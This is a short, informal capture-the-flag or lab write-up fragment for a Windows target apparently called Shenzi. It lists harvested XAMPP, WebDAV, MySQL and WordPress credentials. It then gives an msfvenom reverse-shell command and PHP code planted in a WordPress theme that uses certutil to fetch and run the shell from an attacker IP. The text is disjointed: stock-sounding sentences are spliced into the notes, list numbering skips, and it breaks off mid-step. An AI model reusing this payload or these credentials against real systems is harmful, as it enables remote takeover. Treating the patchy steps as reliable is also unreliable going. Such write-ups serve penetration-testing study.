I validated this step using the evidence below before moving forward in the chain.
1) MySQL (phpMyAdmin):
User: root
Password:
(means no password!)
3) Mercury (not in the USB & lite version):
Postmaster: Postmaster (postmaster@localhost)
Administrator: Admin (admin@localhost)
User: newuser
Password: wampp
4) WEBDAV:
User: xampp-dav-unsecure
Password: ppmax2011
5) WordPress:
User: admin
Password: FeltHeadwallWight357Port 80#
Web behavior was the main signal here, so I traced each response change before exploitation.
found out that the wordpress is being hoted on the director Shenzi and visiting that we reach here
Exploitation#
lets get RCE thru wp
lets
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.150 LPORT=4444 -f exe -o 64.exe
we can paste this in the theme header
<?php
exec("certutil -urlcache -split -f <http://192.168.45.176/64.exe> C:\\\\Windows\\\\Temp\\\\64.exe");
exec("C:\\\\Windows\\\\Temp\\\\64.exe");
?>now visit http://192.168.208.55/shenzi/themes/twentytwenty/404.php after editing 404
yeah well this is not working for me for some reason so lets try another approach
editing the theme header with this
